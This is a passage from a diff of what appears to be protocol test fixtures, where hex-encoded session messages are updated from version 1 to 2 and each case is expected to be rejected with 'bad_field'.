744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a392c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a392c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-grant", "direction": "down", - "hex": "574d583101010000010000003a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a39392c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a39392c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-boot-id-not-a-uuid", "direction": "down", - "hex": "574d58310101000001000000220600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a226e6f742d612d626f6f742d6964222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000005f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a226e6f742d612d626f6f742d6964222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-model-differs", "direction": "down", - "hex": "574d58310101000001000000380600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d62657461222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d62657461222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-key-missing", "direction": "down", - "hex": "574d58310101000001000000240600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000610600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-selection-key-missing", "direction": "down", - "hex": 